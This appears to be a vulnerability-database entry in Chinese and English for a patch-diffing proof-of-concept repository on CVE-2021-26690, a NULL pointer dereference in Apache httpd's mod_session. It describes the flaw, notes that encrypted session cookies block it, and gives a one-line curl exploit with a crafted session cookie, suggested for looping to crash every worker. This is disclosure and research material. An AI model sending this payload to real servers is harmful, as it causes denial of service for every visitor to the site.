关联漏洞
标题：
Apache HTTP Server 代码问题漏洞
(CVE-2021-26690)
描述：Apache HTTP Server是美国阿帕奇（Apache）基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点。 Apache HTTP Server 存在代码问题漏洞，该漏洞源于在mod会话中一个NULL指针解引用错误。远程攻击者可利用该漏洞将专门设计的数据传递给应用程序，并执行拒绝服务(DoS)攻击。以下产品及版本受到影响：EasyApache: 4 2017-5-16, 4 2017-6-13, 4 2017-6-21, 4 2017-7-11, 4 2017-
描述
CVE-2021-26690 patch diffing - Apache HTTP mod_session NULL pointer dereference
介绍
# Patch diffing for CVE-2021-26690 - Apache mod_session
This vulnerability is a NULL pointer dereference within the mod_session Apache's module.
It will cause a denial of service for the child processes of Apache's httpd.
By using a repetitive loop, each Apache workers will crash, leading to a denial of service for all clients that connect to or are connected to the website.
This vulnerability was initially discovered by @antonio-morales.
> For the full stages of the process, refer to the PDF in this repository.
# Limitation
If the server implements the SessionCryptoPassphrase option via `mod_session_crypto` the cookie will be encrypted and base64 encoded.
```
<IfModule mod_session.c>
Session On
SessionCookieName session path=/
SessionCryptoPassphrase "YourSecurePassphrase"
SessionMaxAge 1800
</IfModule>
```
In this case, the session cookie pairs cannot be tampered, and the denial of service cannot occur as is.
# Exploit
```bash
curl http://$IP:$PORT/ -v -b 'session=expiry=123456789&='
```
文件快照
[4.0K] /data/pocs/eb2cf52eae62621ae777ef07e4f623f05f4153ab
├── [1.2M] CVE-2021-26690 patch diffing - Apache HTTP mod_session NULL pointer dereference.pdf
└── [1011] README.md
0 directories, 2 files
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